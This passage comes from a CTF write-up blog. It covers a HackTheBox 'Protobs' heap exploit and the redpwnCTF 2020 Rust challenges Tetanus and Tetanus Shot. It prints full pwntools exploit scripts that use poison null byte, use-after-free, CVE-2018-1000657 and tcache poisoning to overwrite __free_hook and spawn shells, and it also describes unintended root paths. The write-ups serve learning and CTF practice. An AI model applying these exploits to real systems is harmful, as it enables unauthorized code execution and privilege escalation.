for i in range(7):</div>
<div>
free(i+2)</div>
<div>
#7 chunks in 0x40 tcache</div>
<div>
#tcache should be filled now</div>
</div>
</div>
<div>
<br /></div>
<div>
Now it's time for the poison null byte. Just remember what I said before and you should be fine. There is however one thing to note, and it's the size I chose to overwrite. I allocated 0x4f0 for it so it becomes 0x500. Not only do I avoid having to fill tcachebin for it before it does the coalesce/unsorted mechanism, but when I overwrite it, it will become 0x501 (prev in use is on) to 0x500. This way, I won't have to deal with the libc checks that check the chunks afterwards as the size did not actually change. Also, you will need to slowly write the poison null bytes by writing backwards byte by byte due to the way it transfers the data from the buffer to the heap in the allocation function. You will also need to make sure you have a freed chunk in that coaelesced region to create heap overlap afterwards.</div>
<div>
<br /></div>
<div>
<div class="code">
<div>
#now time for poison null byte<br />
alloc(0x50, 'C' * 0x38 + p64(heapleak+0xa50)) #2</div>
<div>
#wipe out null bytes to set up forged chunk correctly</div>
<div>
for i in range(6):</div>
<div>
free(2)</div>
<div>
alloc(0x50, 'C' * (0x38-i-1))</div>
<div>
free(2) #continue setting up forged chunk</div>
<div>
alloc(0x50, 'C' * 0x30 + p64(heapleak+0xa50))</div>
<div>
for i in range(6):</div>
<div>
free(2)</div>
<div>
alloc(0x50, 'C' * (0x30-i-1))</div>
<div>
free(2)</div>
<div>
alloc(0x50, 'C' * 0x28 + p64(small+0x38)) #2</div>
<div>
#forged chunk should be good to go</div>
<div>
<br /></div>
<div>
alloc(small, 'D' * 0x100) #3</div>
<div>
alloc(big, 'E' * 0x100) #4</div>
<div>
alloc(0x210, '') #prevent top consolidation #5</div>
<div>
free(3)</div>
<div>
alloc(small, 'F' * (small)) #poison null byte</div>
<div>
#set up fake prev_size</div>
<div>
free(3)</div>
<div>
for i in range(6):</div>
<div>
alloc(small, 'F' * (small-i-1))</div>
<div>
free(3)</div>
<div>
alloc(small, 'F'*(small-0x8)+p64(small+0x38))</div>
<div>
free(3)</div>
<div>
free(4) #chunk coaelesced now</div>
</div>
</div>
<div>
<br /></div>
<div>
Now you have coalesced region with a free chunk pointing to the same region, thereby creating heap overlap. Technically, tcache poison by overwriting the fd pointers is very trivial, but beware the tcache count check. This can be handled by allocating several tcache bins of the same size and then putting them all in the respective tcache bins, so when you poison the tcache bins, you will have enough for tcache counts to not worry about it becoming -1 and thus not giving the target region back. Then overwrite free hook with system and pop a shell with a string since you control the rdi value for free.</div>
<div>
<br /></div>
<div>
<div class="code">
<div>
alloc(0x20, 'temp') </div>
<div>
alloc(0x20, 'ZZZZ') </div>
<div>
alloc(0x60, 'Y' * 0x20) #6</div>
<div>
alloc(0x60, 'Y'*0x20) #so tcache count doesn't drop, bypass that check</div>
<div>
alloc(0x60, 'Y' * 0x20)</div>
<div>
free(6)</div>
<div>
free(7)</div>
<div>
free(8)</div>
<div>
alloc(small, 'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook'])) #overlapped chunks </div>
<div>
alloc(0x60, '')</div>
<div>
#above was a tcache poison, now overwrite malloc hook</div>
<div>
magic = [0xe237f, 0xe2383, 0xe2386]</div>
<div>
alloc(0x60, p64(libc.symbols['system'])) #8, because it frees the desc first, we can't have it do that</div>
<div>
alloc(0x300, '', game='/bin/bash\x00') #9</div>
<div>
free(9)</div>
<div>
p.interactive()</div>
</div>
</div>
<div>
<br /></div>
<div>
For remote version, I just used ssh from pwn tools and slowed down the timing.</div>
<div>
<br /></div>
<div>
<div class="code">
<div>
from pwn import *</div>
<div>
<br /></div>
<div>
#context.log_level = 'debug'</div>
<div>
#no pie</div>
<div>
bin = ELF('./Protobs')</div>
<div>
libc = ELF('./libc.so.6')</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
remoteShell = ssh(host = 'player2.htb', user='observer', keyfile='./key')</div>
<div>
remoteShell.set_working_directory('/opt/Configuration_Utility')</div>
<div>
p = remoteShell.process('./Protobs')</div>
<div>
<br /></div>
<div>
#it's suid so life becomes even easier!</div>
<div>
#bss at 0x603060</div>
<div>
def wait():</div>
<div>
p.recvrepeat(0.3)</div>
<div>
<br /></div>
<div>
def alloc(size, desc, game='', contrast=0,gamma=0,xres=0,yres=0,controller=0):</div>
<div>
p.sendline('2')</div>
<div>
wait()</div>
<div>
p.sendline(game)</div>
<div>
wait()</div>
<div>
p.sendline(str(contrast))</div>
<div>
wait()</div>
<div>
p.sendline(str(gamma))</div>
<div>
wait()</div>
<div>
p.sendline(str(xres))</div>
<div>
wait()</div>
<div>
p.sendline(str(yres))</div>
<div>
wait()</div>
<div>
p.sendline(str(controller))</div>
<div>
wait()</div>
<div>
p.sendline(str(size))</div>
<div>
wait()</div>
<div>
if size is not 0:</div>
<div>
p.sendline(desc)</div>
<div>
wait()</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
def free(index):</div>
<div>
p.sendline('4')</div>
<div>
wait()</div>
<div>
p.sendline(str(index))</div>
<div>
wait()</div>
<div>
<br /></div>
<div>
def show(index):</div>
<div>
p.sendline('3')</div>
<div>
wait()</div>
<div>
p.sendline(str(index))</div>
<div>
<br /></div>
<div>
small = 0x198</div>
<div>
big = 0x4f0 #500</div>
<div>
p.recvrepeat(2)</div>
<div>
wait()</div>
<div>
#fill with 6 tcache bins</div>
<div>
for i in range(3):</div>
<div>
alloc(0x30, 'A' * 0x20)</div>
<div>
for i in range(3): </div>
<div>
free(i) #6 chunks in tcache</div>
<div>
alloc(0, 'blah') </div>
<div>
show(0) #5 chunks in tcache</div>
<div>
p.recvuntil('[ Description ]: ')</div>
<div>
heapleak = p.recvline()[:-1]</div>
<div>
heapleak = u64(heapleak.ljust(8, '\x00'))</div>
<div>
log.info('Heap leak: ' + hex(heapleak)) </div>
<div>
alloc(0x500, 'A' * 0x30) #4 chunks in tcache</div>
<div>
alloc(0x200, 'A' * 0x30) #3 chunks in tcache, chunk index 2</div>
<div>
free(2) #prevent top consolidation, back to 4 chunks in tcache</div>
<div>
free(1) #for libc leaking, 5 chunk in tcache</div>
<div>
alloc(0, 'blah') #4 chunks in tcache, chunk 1</div>
<div>
show(1) #1 is taken up</div>
<div>
p.recvuntil('[ Description ]: ')</div>
<div>
libcleak = p.recvline()[:-1]</div>
<div>
libcleak = u64(libcleak.ljust(8, '\x00'))</div>
<div>
libc.address = libcleak - 0x1e4c40 - 96</div>
<div>
log.info("Libc Base: " + hex(libc.address)) #know that read maxes out at 0x200</div>
<div>
#fill rest of tcache</div>
<div>
for i in range(4):</div>
<div>
alloc(0x200, 'A' * 0x20) #2, 3, 4, 5</div>
<div>
#empty it</div>
<div>
for i in range(3):</div>
<div>
alloc(0, '') #6, 7, 8</div>
<div>
for i in range(7):</div>
<div>
free(i+2)</div>
<div>
#7 chunks in 0x40 tcache</div>
<div>
#tcache should be filled now</div>
<div>
#now time for poison null byte</div>
<div>
alloc(0x50, 'C' * 0x38 + p64(heapleak+0xa50)) #2</div>
<div>
#wipe out null bytes to set up forged chunk correctly</div>
<div>
for i in range(6):</div>
<div>
free(2)</div>
<div>
alloc(0x50, 'C' * (0x38-i-1))</div>
<div>
free(2) #continue setting up forged chunk</div>
<div>
alloc(0x50, 'C' * 0x30 + p64(heapleak+0xa50))</div>
<div>
for i in range(6):</div>
<div>
free(2)</div>
<div>
alloc(0x50, 'C' * (0x30-i-1))</div>
<div>
free(2)</div>
<div>
alloc(0x50, 'C' * 0x28 + p64(small+0x38)) #2</div>
<div>
#forged chunk should be good to go</div>
<div>
<br /></div>
<div>
alloc(small, 'D' * 0x100) #3</div>
<div>
alloc(big, 'E' * 0x100) #4</div>
<div>
alloc(0x210, '') #prevent top consolidation #5</div>
<div>
free(3)</div>
<div>
alloc(small, 'F' * (small)) #poison null byte</div>
<div>
#set up fake prev_size</div>
<div>
free(3)</div>
<div>
for i in range(6):</div>
<div>
alloc(small, 'F' * (small-i-1))</div>
<div>
free(3)</div>
<div>
alloc(small, 'F'*(small-0x8)+p64(small+0x38))</div>
<div>
free(3)</div>
<div>
free(4) #chunk coaelesced now</div>
<div>
p.interactive()</div>
<div>
alloc(0x20, 'temp') </div>
<div>
alloc(0x20, 'ZZZZ') </div>
<div>
alloc(0x60, 'Y' * 0x20) #6</div>
<div>
alloc(0x60, 'Y'*0x20) #so tcache count doesn't drop, bypass that check</div>
<div>
alloc(0x60, 'Y' * 0x20)</div>
<div>
free(6)</div>
<div>
free(7)</div>
<div>
free(8)</div>
<div>
alloc(small, 'A' * (0x60 + 0x70 + 0x10) + p64(libc.symbols['__free_hook'])) #overlapped chunks </div>
<div>
alloc(0x60, '')</div>
<div>
magic = [0xe237f, 0xe2383, 0xe2386]</div>
<div>
alloc(0x60, p64(libc.symbols['system'])) #8, because it frees the desc first, we can't have it do that</div>
<div>
alloc(0x300, '', game='/bin/sh\x00') #9</div>
<div>
free(9)</div>
<div>
p.interactive()</div>
</div>
</div>
<br />
And you should now have a root shell! During this box's lifecycle, there were actually several other unintendeds and alternative methods that made this box easier, one of which was the large heap overflow I mentioned above, which could make tcache poisoning trivial.<br />
<br />
Another one <a href="https://syst3mfailure.github.io/ret2dl_resolve" target="_blank">D3v17</a> and I discovered early on when stracing the binary was that having it patched-elf'd made it search from ./tls/x86_64/x86_64/libc.so.6 and a few other local sub-directories first before checking the local directory for the libc file. We had write permissions and were able to create one of those directories with a patched libc that redirected one of the program function calls to just call system("/bin/sh"). This was patched later on.<br />
<br />
<a href="https://twitter.com/xct_de" target="_blank">Xct</a> also took root blood first with an unintended related to a cron job that would execute python files as root from a directory www-data can write to. These files were broadcast.py and connection.py from /var/www/product/protobs, opening up an easy gateway to root. This path was patched as well.<br />
<br />
Lastly, here is a one more unintended/alternative path I heard from both D3v17 and xct. To quote D3v17: "A user can upload inotifywait (static binary) and then start monitoring /home folder using inotifywait -m -r /home. Inotifywait will show that /.ssh/id_rsa is opened,read and closed. So the user can replace id_rsa with a symlink to /root/root.txt and read the flag using mqtt."<br />
<br />
Regardless, this box was still very fun! Congrats to b14ckh34rt and MrR3boot, who always produces engaging and exciting content!<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-46038171609484516492020-06-25T21:45:00.000-07:002020-06-25T21:45:15.212-07:00RedpwnCTF 2020 Rust Pwn Writeups (Tetanus, Tetanus Shot)During redpwnCTF 2020, there were 2 Rust pwnables. The first one was quite trivial with an unsafe block of code, but the second one was much more interesting and subtle. Since Rust is notoriously difficult to reverse, the author Poortho was nice enough to give us source.<br />
<br />
<b>Tetanus:</b><br />
Libc was version 2.30 (the Rust pwns were written to use the system allocator), meaning we will have to consider the extra double free protections added onto tcache since 2.28. Here was the source:<br />
<br />
<div class="code">
#![feature(alloc_system)]<br />
<br />
#![allow(while_true)]<br />
<br />
extern crate alloc_system;<br />
<br />
use std::collections::VecDeque;<br />
use std::io;<br />
use std::process;<br />
use std::io::Write;<br />
use std::ptr;<br />
<br />
fn menu() {<br />
println!("1. Create a list");<br />
println!("2. Delete a list");<br />
println!("3. Edit a list");<br />
println!("4. Prepend to list");<br />
println!("5. Append to list");<br />
println!("6. View an element");<br />
println!("7. Exit");<br />
}<br />
<br />
fn create(lists: &mut Vec<VecDeque<i64>>) {<br />
println!("How big should this list be?");<br />
let mut list_size = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut list_size)<br />
.expect("failed to read input.");<br />
let list_size: usize = list_size.trim().parse().expect("invalid input");<br />
<br />
let new_vecdeque = VecDeque::with_capacity(list_size);<br />
<br />
lists.push(new_vecdeque);<br />
<br />
println!("Done!");<br />
}<br />
<br />
fn delete(lists: &mut Vec<VecDeque<i64>>) {<br />
println!("Which list do you want to delete?");<br />
let mut list_i = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut list_i)<br />
.expect("failed to read input.");<br />
let list_i: usize = list_i.trim().parse().expect("invalid input");<br />
<br />
let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();<br />
<br />
unsafe {<br />
ptr::drop_in_place(vec_deque);<br />
}<br />
<br />
println!("Done!");<br />
}<br />
<br />
fn edit(lists: &mut Vec<VecDeque<i64>>) {<br />
println!("Which list do you want to edit?");<br />
let mut list_i = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut list_i)<br />
.expect("failed to read input.");<br />
let list_i: usize = list_i.trim().parse().expect("invalid input");<br />
<br />
let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();<br />
<br />
println!("Okay, which element do you want to edit?");<br />
let mut list_i = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut list_i)<br />
.expect("failed to read input.");<br />
let list_i: usize = list_i.trim().parse().expect("invalid input");<br />
<br />
let element = vec_deque.get_mut(list_i).unwrap();<br />
<br />
println!("What do you want to set it to?");<br />
let mut new_val = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut new_val)<br />
.expect("failed to read input.");<br />
let new_val: i64 = new_val.trim().parse().expect("invalid input");<br />
<br />
*element = new_val;<br />
}<br />
<br />
fn prepend(lists: &mut Vec<VecDeque<i64>>) {<br />
println!("Which list do you want to prepend to?");<br />
let mut list_i = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut list_i)<br />
.expect("failed to read input.");<br />
let list_i: usize = list_i.trim().parse().expect("invalid input");<br />
<br />
let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();<br />
<br />
println!("How many elements do you want to prepend?");<br />
let mut num_new = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut num_new)<br />
.expect("failed to read input.");<br />
let num_new: usize = num_new.trim().parse().expect("invalid input");<br />
<br />
vec_deque.reserve(num_new);<br />
<br />
let mut c = 0;<br />
while c < num_new {<br />
<br />
println!("What value should be inserted?");<br />
let mut new_el = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut new_el)<br />
.expect("failed to read input.");<br />
let new_el: i64 = new_el.trim().parse().expect("invalid input");<br />
<br />
vec_deque.push_front(new_el);<br />
<br />
c += 1;<br />
}<br />
}<br />
<br />
fn append(lists: &mut Vec<VecDeque<i64>>) {<br />
println!("Which list do you want to append to?");<br />
let mut list_i = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut list_i)<br />
.expect("failed to read input.");<br />
let list_i: usize = list_i.trim().parse().expect("invalid input");<br />
<br />
let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();<br />
<br />
println!("How many elements do you want to append?");<br />
let mut num_new = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut num_new)<br />
.expect("failed to read input.");<br />
let num_new: usize = num_new.trim().parse().expect("invalid input");<br />
<br />
vec_deque.reserve(num_new);<br />
<br />
let mut c = 0;<br />
while c < num_new {<br />
<br />
println!("What value should be inserted?");<br />
let mut new_el = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut new_el)<br />
.expect("failed to read input.");<br />
let new_el: i64 = new_el.trim().parse().expect("invalid input");<br />
<br />
vec_deque.push_back(new_el);<br />
<br />
c += 1;<br />
}<br />
}<br />
<br />
fn view(lists: &mut Vec<VecDeque<i64>>) {<br />
println!("Which list do you want to view?");<br />
let mut list_i = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut list_i)<br />
.expect("failed to read input.");<br />
let list_i: usize = list_i.trim().parse().expect("invalid input");<br />
<br />
let vec_deque: &mut VecDeque<i64> = lists.get_mut(list_i).unwrap();<br />
<br />
println!("Which element do you want to view?");<br />
let mut list_i = String::new();<br />
prompt();<br />
io::stdin()<br />
.read_line(&mut list_i)<br />
.expect("failed to read input.");<br />
let list_i: usize = list_i.trim().parse().expect("invalid input");<br />
<br />
let element = vec_deque.get_mut(list_i).unwrap();<br />
<br />
println!("Value: {}", element);<br />
}<br />
<br />
fn prompt() {<br />
print!("> ");<br />
io::stdout().flush().unwrap();<br />
}<br />
<br />
fn main() {<br />
let mut lists: Vec<VecDeque<i64>> = Vec::new();<br />
<br />
println!("Welcome to my rustic service, which lets you manipulate lists at will!");<br />
while true {<br />
menu();<br />
prompt();<br />
let mut choice = String::new();<br />
io::stdin()<br />
.read_line(&mut choice)<br />
.expect("failed to read input.");<br />
let choice: i32 = choice.trim().parse().expect("invalid input");<br />
<br />
match choice {<br />
1 => create(&mut lists),<br />
2 => delete(&mut lists),<br />
3 => edit(&mut lists),<br />
4 => prepend(&mut lists),<br />
5 => append(&mut lists),<br />
6 => view(&mut lists),<br />
7 => {<br />
println!("Bye!");<br />
process::exit(0);<br />
},<br />
_ => println!("Invalid choice!"),<br />
}<br />
}<br />
}</div>
<br />
We basically have a Vector of VectorDeques that hold 64 bit integers. We can add a VecDeq, delete a VecDeq, view an element of the VecDeq, prepend X amounts of elements to a VecDeq, append X amounts of elements to a VecDeq, and edit a specific element of a VecDeq. The vulnerability is pretty obvious and trivial. We have a UAF in the delete function as it uses unsafe code that frees but still leaves the pointer to the VecDeq in our list. Do be aware that whatever size you want for the chunks does not necessarily return the same sized chunk like in C since Rust does its own decision making for sizes and that Rust makes generous use of the heap so there will be many chunks around.<br />
<br />
To obtain a libc leak, we allocate a chunk that is out of tcache range, append a few elements to give the VecDeq valid elements, free it (tcache metadata will overwrite the elements contents), and then you can view it for a libc leak (as the VecDeq is still there technically). We can also grab a heap leak with a similar idea but freeing two chunks of the same size into the tcache (heap leak wasn't necessary in the end, but I just left it in my exploit).<br />
<br />
By appending a few items to the last freed tcache chunk before it is freed, we can have a VecDeq there, from which we can edit elements after free. To double free this chunk afterwards, I edited its index 1 to overwrite the pointer used in the tcache key check, thereby beating this modern libc double free protection mechanism. Afterwards, we can simply overwrite __free_hook - 8 with /bin/sh + system with classic tcache poisoning and pop a shell with a call to free.<br />
<br />
Here is the final exploit:<br />
<br />
<div class="code">
from pwn import *<br />
<br />
IP = "2020.redpwnc.tf"<br />
PORT = 31069<br />
<br />
bin = ELF('./tetanus')<br />
libc = ELF('./libc.so.6')<br />
context(arch='amd64')<br />
p = remote(IP, PORT)<br />
<br />
def wait():<br />
<span style="white-space: pre;"> </span>p.recvrepeat(0.3)<br />
<br />
def alloc(size):<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('1')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(size))<br />
<br />
def free(index):<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('2')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(index))<br />
<br />
def append(index, values):<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('5')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(index))<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(len(values)))<br />
<span style="white-space: pre;"> </span>for v in values:<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(v))<br />
<br />
def prepend(index, values):<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('4')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(index))<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(len(values)))<br />
<span style="white-space: pre;"> </span>for v in values:<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(v))<br />
<br />
def view(index, subindex):<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('6')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(index))<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(subindex))<br />
<br />
def edit(index, subindex, data):<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline('3')<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(index))<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(subindex))<br />
<span style="white-space: pre;"> </span>wait()<br />
<span style="white-space: pre;"> </span>p.sendline(str(data))<br />
<br />
alloc(0x80) #0<br />
append(0, [0x4141414141414141]*4)<br />
free(0)<br />
view(0, 0)<br />
libcleak = int(p.recvline().split(' ')[1]) - 0x1eabe0<br />
libc.address = libcleak<br />
log.info("libc base %s " % hex(libcleak))<br />
alloc(0x10) #1<br />
append(1, [0x4141414141414141]*2)<br />
alloc(0x10) #2<br />
append(2, [0x4141414141414141]*2)<br />
free(1)<br />
free(2)<br />
view(2, 0)<br />
heapleak = int(p.recvline().split(' ')[1]) - 0x2d10<br />
log.info("heap base %s " % hex(heapleak))<br />
edit(2, 1, 0)<br />
free(2)<br />
edit(2, 1, 0)<br />
free(2)<br />
alloc(0x10) #3<br />
append(3, [libc.symbols['__free_hook']-8])<br />
alloc(0x10) #4<br />
alloc(0x10) #5<br />
append(5, [0x68732f6e69622f, libc.symbols['system']])<br />
p.interactive()</div>
<br />
<br />
<b>Tetanus Shot:</b><br />
This one was a much more interesting problem. Looking at the code, it is basically the same thing as the previous binary, but without any unsafe code. The following is the only difference:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-fczoUJZXteE/XvUSvNtgXLI/AAAAAAAABqI/zZRO0qDWqMY4l-FHbWkJm09BAJzG8tEkwCLcBGAsYHQ/s1600/diff.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="565" data-original-width="1243" height="290" src="https://1.bp.blogspot.com/-fczoUJZXteE/XvUSvNtgXLI/AAAAAAAABqI/zZRO0qDWqMY4l-FHbWkJm09BAJzG8tEkwCLcBGAsYHQ/s640/diff.png" width="640" /></a></div>
<br />
Wait... no unsafe blocks in Rust, which is known for being a "safe" language... I stared at this code for one to two hours trying to find something subtle, but nothing came up. However, when I ran strings on the binary, I did see rustc version 1.19 nightly; I thought that this could be a compiler dependent bug/CVE. Looking around, I came across this <a href="https://gts3.org/2019/cve-2018-1000657.html" target="_blank">CVE</a> (OOB write in Rust's VecDeque::reserve()), and our version seems to be an older unpatched one.<br />
<br />
To quote the <a href="https://gts3.org/2019/cve-2018-1000657.html" target="_blank">website</a>, "The main cause of CVE-2018-1000657 is the confusion between VecDeque's internal buffer capacity with its user-facing capacity in VecDeque::reserve() function." It then details how one can abuse this to help overflow the heap and provides a really neat POC you can just follow to recreate the bug with with_capacity(), push_front(), push_back(), and reserve().<br />
<br />
The code here fits that CVE perfectly. Before append and prepend functions, we can specify a size to reserve and then do push back/push front accordingly for an amount of times equal to the specified time. However, I didn't seem to be able to obtain the N/2 overflow where N is the size of the internal buffer as the CVE mentioned; I was only able to obtain an 8 byte overflow into the next chunk's size field. Perhaps this is because we are required to push_back() the same number elements as we reserved (the POC was able to reserve a certain amount, and then only push_back() one element, and then repeat)? Regardless, an 8 byte write is still enough to pwn.<br />
<br />
To create the overflow, we can create a VecDeq with capacity N, call push_front() twice, and then push_back(), and then reserve with size N-3 and then push_back() again; in this program, we will have to type N-3 elements immediately afterwards.<br />
<br />
First off, what we want is to have 6 chunks for VecDeqs placed in memory consecutively. This way, Rust's other allocations won't get in the way. This part just took some debugging, heap viewing, and intuition to get correct. I allocated VecDeq sizes of 50 (0x211 real chunk size), 100 (0x411 real chunk size), and 150 (0x811 real chunk size). I had them lined up in the following order: 50, 50, 100, 50, 50, 150 (I will refer to them as chunk 1, 2, 3, 4, 5, 6 for the sake of this writeup). I also had a few chunks (0x211) afterwards in my final exploit to help fix the tcache count when tcache poisoning and to prevent the possibility of coalesced chunks.<br />
<br />
Taking the first 3 chunks for example, I can 8 byte overflow from chunk 1 to chunk 2 to change its size to 0x411. I also spammed the 3rd chunk with 0x21 to pass the libc check for chunks below when we free the second chunk. Now, when we allocate for a VecDeq of size 100 after we free chunk 2, we get back the second chunk, but this time as size 0x411, allowing us to overlap the chunk below. This technique is the same for chunks 4, 5, 6 and can be done for both the libc leak and the final write what where.<br />
<br />
Chunks 4, 5, 6 were used for the libc leak. When the chunks got overlapped, I appended many elements on chunk 5 until I covered the location where heap metadata would go for Chunk 6. Then I freed Chunk 6, and can view the leak from chunk 5 using view().<br />
<br />
Chunks 1,2,3 were used for the shell popping. When the chunks got overlapped, I appended many elements on chunk 2 until I covered the location where heap metadata would go for Chunk 3. I then freed the other size 0x211 chunks i had allocated below chunk 6 earlier, and then freed Chunk 3 (to help us pass the tcache count check when performing a tcache poisoning attack). Using Chunk 2, I can now change the fd pointer in Chunk 3, and tcache poison, which will allow us to get a write what where primitive. Once again, I chose __free_hook - 8 to write with /bin/sh and system, then called delete() to trigger free() and pop a shell.<br />
<br />
Here is my final exploit with comments (I should have kept track of the indices with scripting instead of by hand due to the shifting indices from VecDeque removal, but it was getting really late during the CTF):<br />
<br />
<div class="code">
from pwn import *<br />
<br />
IP = "2020.redpwnc.tf"<br />
PORT = 31754<br />
<br />
bin = ELF('./tetanus_shot')<br />
libc = ELF('./libc.so.6')<br />
context(arch='amd64')<br />
p = remote(IP, PORT)<br />
<br />
'''<br />
https://gts3.org/2019/cve-2018-1000657.html<br />
want to call VecDeque::with_capacity(N)<br />
call push front twice<br />
call push back 0<br />
reserve N-3<br />
now using push back you can overflow<br />
'''<br />
<br />
def wait():<br />
<span style="white-space: pre;"> </span>p.recvrepeat(0.1)<br />
<br />
def alloc(size):<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', '1')<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(size))<br />
<br />
def free(index):<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>','2')<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>',str(index))<br />
<br />
def append(index, values): #push back<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', '5')<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(index))<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(len(values)))<br />
<span style="white-space: pre;"> </span>for v in values:<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(v))<br />
<br />
def prepend(index, values): #push front<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', '4')<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(index))<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(len(values)))<br />
<span style="white-space: pre;"> </span>for v in values:<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(v))<br />
<br />
def view(index, subindex):<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', '6')<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(index))<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(subindex))<br />
<br />
def edit(index, subindex, data):<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>','3')<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(index))<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(subindex))<br />
<span style="white-space: pre;"> </span>p.sendlineafter('>', str(data))<br />
<br />
#messing with heap to help get me a consecutive region of chunks in memory<br />
for i in range(10):<br />
<span style="white-space: pre;"> </span>alloc(200)<br />
for i in range(10):<br />
<span style="white-space: pre;"> </span>free(0)<br />
<br />
alloc(50) #0<br />
alloc(50) #1<br />
alloc(50) #2<br />
<br />
alloc(50) #3<br />
<br />
<br />
#grouped together consecutively in memory<br />
#rce tcache poison portion<br />
alloc(50) #4<br />
alloc(50) #5<br />
alloc(100) #6<br />
#libc leak portion<br />
alloc(50) #7<br />
alloc(50) #8<br />
alloc(150) #9<br />
<br />
alloc(100) #10, to save for a later free<br />
alloc(100) #11 to save for a later free<br />
<br />
#at this point, we have 6 chunks close to each other<br />
'''<br />
Allocated chunk | PREV_INUSE 1-3 for the later write what where<br />
Addr: 0x5641ae58c900<br />
Size: 0x211<br />
<br />
Allocated chunk | PREV_INUSE<br />
Addr: 0x5641ae58cb10<br />
Size: 0x211<br />
<br />
Allocated chunk | PREV_INUSE<br />
Addr: 0x5641ae58cd20<br />
Size: 0x411<br />
<br />
Allocated chunk | PREV_INUSE 4-6 for the libc leak<br />
Addr: 0x5641ae58d130<br />
Size: 0x211<br />
<br />
Allocated chunk | PREV_INUSE<br />
Addr: 0x5641ae58d340<br />
Size: 0x211<br />
<br />
Allocated chunk | PREV_INUSE<br />
Addr: 0x5641ae58d550<br />
Size: 0x811<br />
'''<br />
#7:A<br />
#8:B<br />
#9:C<br />
<br />
#8 byte overflowing<br />
prepend(7, [0x4141414141414141]*2)<br />
append(7, [0])<br />
append(7, [0x411]*47)<br />
<br />
append(9, [0x21]*70)<br />
free(8)<br />
alloc(100)<br />
#7:A<br />
#8:C<br />
#11:B<br />
append(11, [0x4141414141414141] * 64 + [0, 0x811, 0x1337, 0x1337])<br />
free(8)<br />
#B is 10 now<br />
view(10, 67)<br />
libc.address = int(p.recvline().split(' ')[2]) - 0x1eabe0<br />
log.info("libc base: %s" % hex(libc.address))<br />
<br />
# now time for RCE<br />
#4: A<br />
#5: B<br />
#6: C<br />
<br />
#8 byte overflowing<br />
prepend(4, [0x4141414141414141]*2)<br />
append(4, [0])<br />
append(4, [0x411]*47)<br />
<br />
append(6, [0x21]*70)<br />
free(5)<br />
alloc(100) #B is 10<br />
append(10, [0x4141414141414141] * 64 + [0, 0x411, 0x1337, 0x1337, 0x1337, 0x1337])<br />
free(8) #B is 9<br />
free(7) #B is 8<br />
free(5) #B is 7<br />
edit(7, 66, libc.symbols['__free_hook'] - 8)<br />
alloc(100)<br />
alloc(100) #9<br />
